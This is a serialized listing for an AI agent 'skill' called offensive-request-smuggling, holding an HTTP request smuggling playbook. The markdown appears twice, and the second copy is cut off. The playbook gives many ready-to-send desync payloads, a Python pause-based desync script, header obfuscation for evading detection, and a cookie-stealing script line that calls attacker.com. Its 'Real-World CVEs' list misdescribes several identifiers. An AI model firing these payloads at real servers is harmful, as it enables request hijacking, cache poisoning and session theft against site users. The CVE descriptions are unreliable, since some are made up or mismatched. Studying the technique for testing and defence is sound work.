[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71FWYX00Y4SYGMWXY09J6DM":3,"skill-same:01M71FWYX00Y4SYGMWXY09J6DM":57},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":25,"linkOnly":26,"markdownContent":27,"markdownBody":28,"frontMatter":29,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":35,"updatedAt":36,"install":37,"resources":50},"01M71FWYX00Y4SYGMWXY09J6DM","offensive-request-smuggling",null,"- **HTTP\u002F2 Isolation**: Avoid translating between HTTP\u002F2 and HTTP\u002F1.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-request-smuggling\u002FSKILL.md",[],[19,20,21,22,23,24],"offensive request smuggling","request","offensive","http","cybersecurity","isolation","2026-11-10 10:12:30",false,"---\nname: offensive-request-smuggling\ndescription: \"- **HTTP\u002F2 Isolation**: Avoid translating between HTTP\u002F2 and HTTP\u002F1.\"\ndomain: cybersecurity\n---\n\n## Full Methodology\n\n# HTTP Request Smuggling\n\n## Mechanisms\n\nHTTP Request Smuggling is a vulnerability that occurs when front-end and back-end servers interpret HTTP requests differently, leading to a desynchronization in the HTTP request processing chain. This desynchronization allows attackers to \"smuggle\" requests to the back-end server, potentially bypassing security controls or manipulating how other users' requests are processed.\n\n```mermaid\ngraph TD\n    A[Client] -->|HTTP Request| B[Front-end Server]\n    B -->|Interpreted Request| C[Back-end Server]\n    B -->|Different Interpretation| D[Desynchronization]\n    D -->|Smuggled Request| C\n    D -->|Security Bypass| E[Unauthorized Access]\n    D -->|Queue Poisoning| F[Response Hijacking]\n```\n\nRequest smuggling vulnerabilities arise from inconsistencies in how servers parse and interpret HTTP messages, particularly regarding:\n\n- **Transfer-Encoding (TE) header**: Indicates chunked encoding\n- **Content-Length (CL) header**: Specifies the length of the message body\n- **Header parsing**: Different handling of whitespace, newlines, and malformed headers\n\nCommon desynchronization scenarios include:\n\n- **CL.TE**: Front-end uses Content-Length, back-end uses Transfer-Encoding\n- **TE.CL**: Front-end uses Transfer-Encoding, back-end uses Content-Length\n- **TE.TE**: Both servers use Transfer-Encoding but handle edge cases differently\n\nHTTP\u002F2\u002F3 specific desync variants:\n\n- H2.CL \u002F H2.TE: Conflicts between HTTP\u002F2 body length signaling and HTTP\u002F1 backends during downgrade.\n- H2C Upgrade: Cleartext HTTP\u002F2 (h2c) upgrade paths mishandled by intermediaries.\n- Authority\u002FHost Confusion: `:authority` vs `Host` normalization inconsistencies under CDNs.\n\n```mermaid\ngraph LR\n    subgraph \"CL.TE Attack\"\n        A1[Client] -->|\"POST \u002F HTTP\u002F1.1\u003Cbr>Content-Length: 30\u003Cbr>Transfer-Encoding: chunked\u003Cbr>\u003Cbr>0\u003Cbr>\u003Cbr>GET \u002Fadmin HTTP\u002F1.1\u003Cbr>X-Ignore:\"| B1[Front-end]\n        B1 -->|\"Uses Content-Length: 30\u003Cbr>Sees one complete request\"| C1[Back-end]\n        C1 -->|\"Uses Transfer-Encoding\u003Cbr>Sees two requests:\u003Cbr>1. POST \u002F\u003Cbr>2. GET \u002Fadmin\"| D1[Smuggled Request Processed]\n    end\n```\n\nModern variations include:\n\n- **H2.HTTP\u002F1**: HTTP\u002F2 to HTTP\u002F1 downgrades causing inconsistencies\n- **HTTP\u002F1.H2**: HTTP\u002F1 to HTTP\u002F2 transitions with different interpretations\n- **Timeout-based**: Exploiting time differences in connection handling\n- **Method-based**: Different interpretations of HTTP methods\n- **Header-based**: Inconsistent header parsing between servers\n\n## Hunt\n\n### Identifying Vulnerable Applications\n\n#### Architecture Reconnaissance\n\n- Look for multi-server architectures with proxies, load balancers, or CDNs\n- Identify systems using Nginx, HAProxy, Varnish, or Amazon ALB\u002FCloudFront\n- Check for HTTP\u002F2 support with HTTP\u002F1 backend compatibility\n\n#### Basic Detection Tests\n\n1. CL.TE Vulnerability Detection (Time Delay Example):\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Transfer-Encoding: chunked\n   Content-Length: 4\n\n   1\n   A\n   X\n   ```\n\n   Send this request, then send a normal request. If the normal request experiences a time delay, CL.TE might be present.\n\n2. TE.CL Vulnerability Detection (Time Delay Example):\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Transfer-Encoding: chunked\n   Content-Length: 6\n\n   0\n\n   X\n   ```\n\n   Send this request, then send a normal request. If the normal request experiences a time delay, TE.CL might be present.\n\n3. CL.TE Confirmation (Example):\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: your-lab-id.web-security-academy.net\n   Connection: keep-alive\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-Length: 6\n   Transfer-Encoding: chunked\n\n   0\n\n   G\n   ```\n\n   Send twice. The second response should indicate an unrecognized method like `GPOST`.\n\n4. TE.CL Confirmation (Example):\n   (Ensure Burp's \"Update Content-Length\" is unchecked)\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: your-lab-id.web-security-academy.net\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-length: 4\n   Transfer-Encoding: chunked\n\n   5c\n   GPOST \u002F HTTP\u002F1.1\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-Length: 15\n\n   x=1\n   0\n\n   ```\n\n   Send twice. The second request should show the effect of the smuggled `GPOST`.\n\n5. TE.TE Desync Detection (Obfuscation Example):\n   (Ensure Burp's \"Update Content-Length\" is unchecked)\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: your-lab-id.web-security-academy.net\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-length: 4\n   Transfer-Encoding: chunked\n   Transfer-encoding: cow\n\n   5c\n   GPOST \u002F HTTP\u002F1.1\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-Length: 15\n\n   x=1\n   0\n\n   ```\n\n   Send twice. The second request should show the effect of the smuggled `GPOST`, confirming that one server ignored the obfuscated `Transfer-encoding: cow` header.\n\n#### Advanced Detection Techniques\n\n- **Differential Testing**: Observe response timing differences\n- **Time Delays**: Add artificial delays between requests to detect queue interference\n- **Obfuscation Testing**: Try various obfuscation techniques:\n  ```http\n  Transfer-Encoding: xchunked\n  Transfer-Encoding: chunked\n  Transfer-Encoding : chunked\n  Transfer-Encoding: chunked\n  Transfer-Encoding: identity, chunked\n  ```\n\n  - HTTP\u002F2 Specific: Duplicate `content-length` headers, mixed\u002Fmalformed pseudo-headers, abnormal stream resets, header\u002Fcontinuation frame splitting.\n\n### Testing Methodology\n\n```mermaid\nflowchart TD\n    A[Initial Assessment] --> B{Vulnerability Detected?}\n    B -->|Yes| C[Confirmation Testing]\n    B -->|No| D[Try Advanced Techniques]\n    D --> B\n    C --> E{Confirmed?}\n    E -->|Yes| F[Targeted Testing]\n    E -->|No| D\n    F --> G[Documentation & Exploitation]\n\n    subgraph \"Initial Assessment\"\n        A1[Test CL.TE Payloads]\n        A2[Test TE.CL Payloads]\n        A3[Check Header Obfuscation]\n    end\n\n    subgraph \"Confirmation Testing\"\n        C1[Send Request with Clear Response]\n        C2[Test Queue Poisoning]\n        C3[Check Status Code Anomalies]\n    end\n\n    subgraph \"Targeted Testing\"\n        F1[Test HTTP\u002F2 Downgrade]\n        F2[Check Header Oversizing]\n        F3[Test Method Handling]\n    end\n```\n\n1. **Initial Assessment**:\n   - Test standard CL.TE and TE.CL payloads\n   - Try header obfuscation techniques\n   - Check for timing inconsistencies\n\n2. **Confirmation Testing**:\n   - Send a smuggled request that should trigger a distinct response\n   - Test for request queue poisoning by affecting subsequent requests\n   - Look for response status code anomalies\n\n3. **Targeted Testing**:\n   - Test HTTP\u002F2 downgrade scenarios\n   - Check for header oversizing vulnerabilities\n   - Test method-specific handling differences\n\n## Vulnerabilities\n\n### Common HTTP Request Smuggling Scenarios\n\n```mermaid\nmindmap\n  root((HTTP Request Smuggling))\n    Security Control Bypass\n      WAF Bypass\n      Access Control Evasion\n      Authentication Bypass\n    Request\u002FResponse Queue Poisoning\n      Request Hijacking\n      Response Queue Poisoning\n      Cache Poisoning\n    Server-Specific Vulnerabilities\n      Nginx-Specific\n      Apache-Specific\n      NodeJS-Specific\n    Impact\n      Session Hijacking\n      Data Exposure\n      XSS Injection\n      Cache Poisoning\n      Network Scanning\n      Account Takeover\n```\n\n#### Security Control Bypass\n\n- Web Application Firewall (WAF) Bypass: Smuggling malicious content past WAF inspection\n- Access Control Evasion: Accessing restricted resources by smuggling authorized-looking requests\n- Authentication Bypass: Manipulating authentication flows through request smuggling\n\n#### Request\u002FResponse Queue Poisoning\n\n- Request Hijacking: Capturing parts of another user's request including cookies or authentication tokens\n- Response Queue Poisoning: Causing wrong responses to be sent to users\n- Cache Poisoning: Injecting malicious content into caches serving multiple users\n\n#### Server-Specific Vulnerabilities\n\n- Nginx-Specific: Inconsistent `Transfer-Encoding` handling with underscore prefixes\n- Apache-Specific: Different chunked encoding parser behavior\n- NodeJS-Specific: Unique header parsing behavior with multiple headers\n\n### Impact Examples\n\n- Session Hijacking: Stealing user session cookies through request smuggling\n- Sensitive Data Exposure: Smuggling requests to internal resources\n- Cross-Site Scripting (XSS): Injecting malicious scripts into responses sent to other users\n- HTTP Cache Poisoning: Poisoning cached responses viewed by multiple users\n- Internal Network Scanning: Using request smuggling for SSRF-like network scanning\n- Account Takeover: Smuggling requests to change user credentials\n\n## Methodologies\n\n### Tools\n\n- Burp Suite Professional: HTTP Request Smuggler extension ([_PortSwigger BApp Store_](https:\u002F\u002Fportswigger.net\u002Fbappstore\u002Faaaa60ef945341e8a450217a54a11646))\n- smuggler.py: `python3 smuggler.py -u \u003CURL>` ([_defparam\u002Fsmuggler_](https:\u002F\u002Fgithub.com\u002Fdefparam\u002Fsmuggler), [_anshumanpattnaik\u002Fhttp-request-smuggling_](https:\u002F\u002Fgithub.com\u002Fanshumanpattnaik\u002Fhttp-request-smuggling))\n- tiscripts: Collection of scripts including smuggling checks ([_defparam\u002Ftiscripts_](https:\u002F\u002Fgithub.com\u002Fdefparam\u002Ftiscripts))\n- h2csmuggler: `go run .\u002Fcmd\u002Fh2csmuggler check https:\u002F\u002Ftarget.com\u002F http:\u002F\u002Flocalhost` ([_assetnote\u002Fh2csmuggler_](https:\u002F\u002Fgithub.com\u002Fassetnote\u002Fh2csmuggler), [_BishopFox\u002Fh2csmuggler_](https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fh2csmuggler) for HTTP\u002F2)\n- Turbo Intruder: For advanced\u002Fcustomized request smuggling techniques in Burp Suite.\n- Param Miner: For detecting hidden attack surfaces which might be vulnerable.\n- h2spec \u002F h3spec: Conformance testing for HTTP\u002F2 and HTTP\u002F3 implementations.\n\n### Testing Techniques\n\n#### Basic Request Smuggling Test Patterns\n\n1. **CL.TE Pattern**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 39\n   Transfer-Encoding: chunked\n\n   0\n\n   GET \u002Fadmin HTTP\u002F1.1\n   Host: vulnerable-website.com\n   ```\n\n2. **TE.CL Pattern**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 4\n   Transfer-Encoding: chunked\n\n   5c\n   GPOST \u002F HTTP\u002F1.1\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-Length: 15\n\n   x=1\n   0\n\n   ```\n\n3. **HTTP\u002F2 Downgrade Pattern**:\n\n   ```http\n   :method: POST\n   :path: \u002F\n   :authority: vulnerable-website.com\n   content-length: 0\n   content-length: 44\n\n   GET \u002Fadmin HTTP\u002F1.1\n   Host: vulnerable-website.com\n   ```\n\n4. **H2C Upgrade Smuggling Pattern**:\n\n```\nGET \u002F HTTP\u002F1.1\nHost: vulnerable-website.com\nConnection: Upgrade, HTTP2-Settings\nUpgrade: h2c\nHTTP2-Settings: AAMAAABkAAQAAP__\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: vulnerable-website.com\n```\n\n#### Advanced Exploitation Techniques\n\n1. **Request Hijacking**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 50\n   Transfer-Encoding: chunked\n\n   0\n\n   GET \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   ```\n\n2. **Response Queue Poisoning**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 146\n   Transfer-Encoding: chunked\n\n   0\n\n   HTTP\u002F1.1 200 OK\n   Content-Type: text\u002Fhtml\n   Content-Length: 30\n\n   \u003Chtml>Fake Response\u003C\u002Fhtml>\n   ```\n\n3. **WebSocket Hijacking**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 65\n   Transfer-Encoding: chunked\n\n   0\n\n   GET \u002Fsocket HTTP\u002F1.1\n   Upgrade: websocket\n   Connection: Upgrade\n   ```\n\n### Defense Testing\n\n1. **Testing Patch Effectiveness**:\n   - Retest with various obfuscation techniques after patches\n   - Check for incomplete fixes or workarounds\n\n2. **Header Variations**:\n\n   ```\n   Transfer-Encoding: chunked\n   transfer-encoding: chunked\n   Transfer-Encoding:chunked\n   Transfer-Encoding: identity,chunked\n   Transfer-Encoding: identity, chunked\n   ```\n\n3. **Chunk Size Manipulation**:\n\n   ```\n   1\\r\\n\n   A\\r\\n\n   0\\r\\n\n   \\r\\n\n   ```\n\n4. **HTTP\u002F2 Strictness Checks**:\n\n- Ensure single, consistent body length signaling; reject duplicate\u002Fmalformed pseudo-headers.\n- Disable or tightly control h2c upgrades at edges.\n\n### Real-World Exploitation Workflow\n\n```mermaid\nsequenceDiagram\n    participant A as Attacker\n    participant F as Front-end Server\n    participant B as Back-end Server\n    participant V as Victim\n\n    A->>F: 1. Send Smuggling Payload\n    F->>B: 2. First Request (Front-end interpretation)\n    Note over F,B: Desynchronization Occurs\n    A->>F: 3. Send Normal Request\n    F->>B: 4. Second Request gets appended to smuggled content\n    V->>F: 5. Victim sends innocent request\n    F->>B: 6. Victim's request gets processed with attacker's content\n    B->>F: 7. Modified response based on smuggled content\n    F->>V: 8. Victim receives unexpected\u002Fmalicious response\n```\n\n1. **Identify Desync Vulnerability**:\n   - Test CL.TE, TE.CL, TE.TE patterns\n   - Confirm with time-delay observations\n\n2. **Establish Attack Vector**:\n   - Determine the most reliable desync method\n   - Identify the best obfuscation technique for the target\n\n3. **Craft Exploitation Payload**:\n   - Create a request that smuggles another request\n   - Target sensitive functionality or information disclosure\n\n4. **Execute and Validate**:\n   - Send the smuggled request\n   - Observe the effects on subsequent responses\n\n5. **Document Impact**:\n   - Demonstrate real security implications\n   - Show how the vulnerability could affect users\n\n### Modern Desync Variants\n\n#### HTTP\u002F3 Desync\n\nHTTP\u002F3 uses QUIC transport which introduces new desync opportunities when proxies translate between HTTP\u002F3 and HTTP\u002F1.1:\n\n**HTTP\u002F3 to HTTP\u002F1.1 Translation:**\n\n```\n# HTTP\u002F3 request with duplicate headers\n:method: POST\n:path: \u002Fapi\u002Fendpoint\n:authority: target.com\ncontent-length: 10\ncontent-length: 50\n\n# Backend may use different content-length value\n```\n\n**Testing HTTP\u002F3:**\n\n```bash\n# Using curl with HTTP\u002F3\ncurl --http3 https:\u002F\u002Ftarget.com\u002Fendpoint -v\n\n# Check Alt-Svc header indicating HTTP\u002F3 support\ncurl -I https:\u002F\u002Ftarget.com | grep -i alt-svc\n```\n\n**QUIC Stream Manipulation:**\n\n- Multiple streams in single connection may be processed inconsistently\n- Stream resets can leave partial data in backend queues\n- QPACK header compression differences between implementations\n\n#### Client-Side Desync (CSD)\n\nClient-side desync exploits browser behavior to poison the browser's own connection pool, affecting subsequent requests from the same client.\n\n**Mechanism:**\n\n1. Attacker crafts response that browser caches\n2. Response includes smuggled request\n3. Next victim request gets poisoned response\n\n**Example CSD Attack:**\n\n```http\nPOST \u002F HTTP\u002F1.1\nHost: vulnerable.com\nContent-Length: 150\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: vulnerable.com\nContent-Length: 10\n\nx=\nGET \u002Fstatic\u002Finnocent.js HTTP\u002F1.1\nHost: vulnerable.com\n```\n\n**Browser receives:**\n\n```http\nHTTP\u002F1.1 200 OK\nContent-Length: 100\n\n\u003Cscript>\n  \u002F\u002F Malicious JavaScript injected into cached response\n  document.location='http:\u002F\u002Fattacker.com\u002Fsteal?cookie='+document.cookie;\n\u003C\u002Fscript>\n```\n\n**Testing for CSD:**\n\n1. Send smuggling payload\n2. Open same site in new tab\n3. Check if subsequent request receives smuggled response\n4. Look for `Age` or `X-Cache` headers indicating cache hit\n\n**High-Value Targets:**\n\n- JavaScript files (cached and executed)\n- CSS files (for exfiltration via background-image)\n- JSON API responses (manipulate application state)\n\n#### WebSocket Desync\n\nWebSocket upgrade process can be vulnerable to request smuggling:\n\n**WebSocket Upgrade Smuggling:**\n\n```http\nPOST \u002F HTTP\u002F1.1\nHost: vulnerable.com\nContent-Length: 200\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fchat HTTP\u002F1.1\nHost: vulnerable.com\nUpgrade: websocket\nConnection: Upgrade\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\nSec-WebSocket-Version: 13\nSec-WebSocket-Protocol: attacker-injection\n\n```\n\n**Smuggling After WebSocket Establishment:**\n\n```http\n# Send via established WebSocket connection\nGET \u002Fadmin HTTP\u002F1.1\nHost: vulnerable.com\nCookie: admin_session=stolen_token\n```\n\n**WebSocket Frame Manipulation:**\n\n- Inject malicious frames during upgrade\n- Exploit frame fragmentation handling differences\n- Target WebSocket proxies (nginx, HAProxy) that may parse differently\n\n**Testing Steps:**\n\n1. Initiate WebSocket upgrade with smuggling payload\n2. Monitor if backend processes smuggled HTTP request\n3. Check WebSocket frames for injected content\n4. Test multiple simultaneous upgrade requests\n\n#### Request Tunneling via CONNECT\n\nCONNECT method can be abused for request smuggling:\n\n```http\nCONNECT internal.service:80 HTTP\u002F1.1\nHost: vulnerable-proxy.com\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: internal.service\nAuthorization: Bearer stolen_token\n```\n\n**Testing:**\n\n1. Send CONNECT request to proxy\n2. Include smuggled request in CONNECT body\n3. Check if proxy forwards to internal service\n\n#### Pause-Based Desync\n\nExploiting TCP flow control and timing:\n\n```python\nimport socket\nimport time\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(('vulnerable.com', 80))\n\n# Send headers slowly\ns.send(b'POST \u002F HTTP\u002F1.1\\r\\n')\ntime.sleep(2)\ns.send(b'Host: vulnerable.com\\r\\n')\ntime.sleep(2)\ns.send(b'Content-Length: 50\\r\\n')\ns.send(b'Transfer-Encoding: chunked\\r\\n\\r\\n')\n\n# Send smuggled request\ns.send(b'0\\r\\n\\r\\nGET \u002Fadmin HTTP\u002F1.1\\r\\n')\ns.send(b'Host: vulnerable.com\\r\\n\\r\\n')\n```\n\n#### Header Oversizing\n\nExploit differences in maximum header sizes:\n\n```http\nPOST \u002F HTTP\u002F1.1\nHost: vulnerable.com\nX-Padding: AAAA[... 8KB of data ...]\nContent-Length: 100\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\n```\n\nIf front-end accepts larger headers than backend, backend may miss headers after cutoff point.\n\n### Detection Bypass Techniques (Advanced)\n\n**Header Name Obfuscation:**\n\n```http\nTransfer-Encoding : chunked          # Space before colon\nTransfer-Encoding\\t: chunked         # Tab\nTransfer\\rEncoding: chunked          # Carriage return\nTransfer\\x00Encoding: chunked        # Null byte (rare)\nTransfer\\x0bEncoding: chunked        # Vertical tab\n```\n\n**Multiple Content-Length Variations:**\n\n```http\nContent-Length: 10\nContent-Length: 20\nContent-length: 30           # Case variation\nCONTENT-LENGTH: 40           # Uppercase\nContent-Length : 50          # Space before colon\n```\n\n**HTTP\u002F2 Pseudo-Header Smuggling:**\n\n```http\n:method: POST\n:path: \u002F\n:authority: target.com\n:method: GET                  # Duplicate pseudo-header\ncontent-length: 0\ncontent-length: 50            # Duplicate content-length\n```\n\n**Transfer-Encoding Value Pollution:**\n\n```http\nTransfer-Encoding: chunked, identity\nTransfer-Encoding: identity, chunked\nTransfer-Encoding: chunked;q=1\nTransfer-Encoding: chunked\\x20\\x20\nTransfer-Encoding: chunked\\x0d\\x0a\n```\n\n### Real-World CVEs\n\n1. **CVE-2023-45853 - MiniZinc HTTP Parser**:\n   - Request smuggling via Transfer-Encoding handling\n   - Impact: RCE via smuggled requests\n\n2. **CVE-2023-38545 - curl SOCKS5 Heap Overflow**:\n   - Related to connection reuse that could enable smuggling\n   - Impact: RCE in certain configurations\n\n3. **CVE-2022-31629 - PHP HTTP Response Splitting**:\n   - Response splitting enabling smuggling attacks\n   - Impact: XSS and cache poisoning\n\n4. **CVE-2021-41773 - Apache HTTP Server Path Traversal**:\n   - Could be chained with request smuggling\n   - Impact: RCE via CGI script access\n\n5. **CVE-2020-11724 - Varnish Cache HTTP\u002F2 Desync**:\n   - HTTP\u002F2 to HTTP\u002F1.1 downgrade desync\n   - Impact: Cache poisoning and request smuggling\n\n## Remediation Recommendations\n\n- **Consistent Request Parsing**: Ensure consistent parsing rules across all servers\n- **HTTP\u002F2 Isolation**: Avoid translating between HTTP\u002F2 and HTTP\u002F1.1 where possible\n- **Header Validation**: Implement strict header validation\n- **Connection Resets**: Reset connections after each request when possible\n- **WAF Rules**: Configure WAF to detect request smuggling attempts\n- **Content-Length Validation**: Ensure Content-Length matches actual content\n- **Chunked Encoding Validation**: Implement proper chunked encoding parsing\n- **Regular Security Testing**: Perform request smuggling-specific security tests\n- **Unified Parser**: Use a single RFC-compliant parsing library across front\u002Fback tiers; normalize `Host`\u002F`:authority`\n- **Gateway Hardening**: Strip hop-by-hop\u002Fduplicate headers; disable TE other than `chunked`; enforce single message framing signal\n- **HTTP\u002F3 Controls**: Ensure QUIC implementation correctly handles stream management and header compression\n- **WebSocket Security**: Validate WebSocket upgrade requests; sanitize Sec-WebSocket-\\* headers; limit concurrent upgrades\n- **Client-Side Desync Prevention**: Set `Connection: close` on sensitive responses; use HTTP\u002F2 exclusively; implement strict cache controls\n- **Monitoring**: Log anomalous header patterns; alert on multiple Content-Length or Transfer-Encoding headers; track connection reuse metrics\n","## Full Methodology\n\n# HTTP Request Smuggling\n\n## Mechanisms\n\nHTTP Request Smuggling is a vulnerability that occurs when front-end and back-end servers interpret HTTP requests differently, leading to a desynchronization in the HTTP request processing chain. This desynchronization allows attackers to \"smuggle\" requests to the back-end server, potentially bypassing security controls or manipulating how other users' requests are processed.\n\n```mermaid\ngraph TD\n    A[Client] -->|HTTP Request| B[Front-end Server]\n    B -->|Interpreted Request| C[Back-end Server]\n    B -->|Different Interpretation| D[Desynchronization]\n    D -->|Smuggled Request| C\n    D -->|Security Bypass| E[Unauthorized Access]\n    D -->|Queue Poisoning| F[Response Hijacking]\n```\n\nRequest smuggling vulnerabilities arise from inconsistencies in how servers parse and interpret HTTP messages, particularly regarding:\n\n- **Transfer-Encoding (TE) header**: Indicates chunked encoding\n- **Content-Length (CL) header**: Specifies the length of the message body\n- **Header parsing**: Different handling of whitespace, newlines, and malformed headers\n\nCommon desynchronization scenarios include:\n\n- **CL.TE**: Front-end uses Content-Length, back-end uses Transfer-Encoding\n- **TE.CL**: Front-end uses Transfer-Encoding, back-end uses Content-Length\n- **TE.TE**: Both servers use Transfer-Encoding but handle edge cases differently\n\nHTTP\u002F2\u002F3 specific desync variants:\n\n- H2.CL \u002F H2.TE: Conflicts between HTTP\u002F2 body length signaling and HTTP\u002F1 backends during downgrade.\n- H2C Upgrade: Cleartext HTTP\u002F2 (h2c) upgrade paths mishandled by intermediaries.\n- Authority\u002FHost Confusion: `:authority` vs `Host` normalization inconsistencies under CDNs.\n\n```mermaid\ngraph LR\n    subgraph \"CL.TE Attack\"\n        A1[Client] -->|\"POST \u002F HTTP\u002F1.1\u003Cbr>Content-Length: 30\u003Cbr>Transfer-Encoding: chunked\u003Cbr>\u003Cbr>0\u003Cbr>\u003Cbr>GET \u002Fadmin HTTP\u002F1.1\u003Cbr>X-Ignore:\"| B1[Front-end]\n        B1 -->|\"Uses Content-Length: 30\u003Cbr>Sees one complete request\"| C1[Back-end]\n        C1 -->|\"Uses Transfer-Encoding\u003Cbr>Sees two requests:\u003Cbr>1. POST \u002F\u003Cbr>2. GET \u002Fadmin\"| D1[Smuggled Request Processed]\n    end\n```\n\nModern variations include:\n\n- **H2.HTTP\u002F1**: HTTP\u002F2 to HTTP\u002F1 downgrades causing inconsistencies\n- **HTTP\u002F1.H2**: HTTP\u002F1 to HTTP\u002F2 transitions with different interpretations\n- **Timeout-based**: Exploiting time differences in connection handling\n- **Method-based**: Different interpretations of HTTP methods\n- **Header-based**: Inconsistent header parsing between servers\n\n## Hunt\n\n### Identifying Vulnerable Applications\n\n#### Architecture Reconnaissance\n\n- Look for multi-server architectures with proxies, load balancers, or CDNs\n- Identify systems using Nginx, HAProxy, Varnish, or Amazon ALB\u002FCloudFront\n- Check for HTTP\u002F2 support with HTTP\u002F1 backend compatibility\n\n#### Basic Detection Tests\n\n1. CL.TE Vulnerability Detection (Time Delay Example):\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Transfer-Encoding: chunked\n   Content-Length: 4\n\n   1\n   A\n   X\n   ```\n\n   Send this request, then send a normal request. If the normal request experiences a time delay, CL.TE might be present.\n\n2. TE.CL Vulnerability Detection (Time Delay Example):\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Transfer-Encoding: chunked\n   Content-Length: 6\n\n   0\n\n   X\n   ```\n\n   Send this request, then send a normal request. If the normal request experiences a time delay, TE.CL might be present.\n\n3. CL.TE Confirmation (Example):\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: your-lab-id.web-security-academy.net\n   Connection: keep-alive\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-Length: 6\n   Transfer-Encoding: chunked\n\n   0\n\n   G\n   ```\n\n   Send twice. The second response should indicate an unrecognized method like `GPOST`.\n\n4. TE.CL Confirmation (Example):\n   (Ensure Burp's \"Update Content-Length\" is unchecked)\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: your-lab-id.web-security-academy.net\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-length: 4\n   Transfer-Encoding: chunked\n\n   5c\n   GPOST \u002F HTTP\u002F1.1\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-Length: 15\n\n   x=1\n   0\n\n   ```\n\n   Send twice. The second request should show the effect of the smuggled `GPOST`.\n\n5. TE.TE Desync Detection (Obfuscation Example):\n   (Ensure Burp's \"Update Content-Length\" is unchecked)\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: your-lab-id.web-security-academy.net\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-length: 4\n   Transfer-Encoding: chunked\n   Transfer-encoding: cow\n\n   5c\n   GPOST \u002F HTTP\u002F1.1\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-Length: 15\n\n   x=1\n   0\n\n   ```\n\n   Send twice. The second request should show the effect of the smuggled `GPOST`, confirming that one server ignored the obfuscated `Transfer-encoding: cow` header.\n\n#### Advanced Detection Techniques\n\n- **Differential Testing**: Observe response timing differences\n- **Time Delays**: Add artificial delays between requests to detect queue interference\n- **Obfuscation Testing**: Try various obfuscation techniques:\n  ```http\n  Transfer-Encoding: xchunked\n  Transfer-Encoding: chunked\n  Transfer-Encoding : chunked\n  Transfer-Encoding: chunked\n  Transfer-Encoding: identity, chunked\n  ```\n\n  - HTTP\u002F2 Specific: Duplicate `content-length` headers, mixed\u002Fmalformed pseudo-headers, abnormal stream resets, header\u002Fcontinuation frame splitting.\n\n### Testing Methodology\n\n```mermaid\nflowchart TD\n    A[Initial Assessment] --> B{Vulnerability Detected?}\n    B -->|Yes| C[Confirmation Testing]\n    B -->|No| D[Try Advanced Techniques]\n    D --> B\n    C --> E{Confirmed?}\n    E -->|Yes| F[Targeted Testing]\n    E -->|No| D\n    F --> G[Documentation & Exploitation]\n\n    subgraph \"Initial Assessment\"\n        A1[Test CL.TE Payloads]\n        A2[Test TE.CL Payloads]\n        A3[Check Header Obfuscation]\n    end\n\n    subgraph \"Confirmation Testing\"\n        C1[Send Request with Clear Response]\n        C2[Test Queue Poisoning]\n        C3[Check Status Code Anomalies]\n    end\n\n    subgraph \"Targeted Testing\"\n        F1[Test HTTP\u002F2 Downgrade]\n        F2[Check Header Oversizing]\n        F3[Test Method Handling]\n    end\n```\n\n1. **Initial Assessment**:\n   - Test standard CL.TE and TE.CL payloads\n   - Try header obfuscation techniques\n   - Check for timing inconsistencies\n\n2. **Confirmation Testing**:\n   - Send a smuggled request that should trigger a distinct response\n   - Test for request queue poisoning by affecting subsequent requests\n   - Look for response status code anomalies\n\n3. **Targeted Testing**:\n   - Test HTTP\u002F2 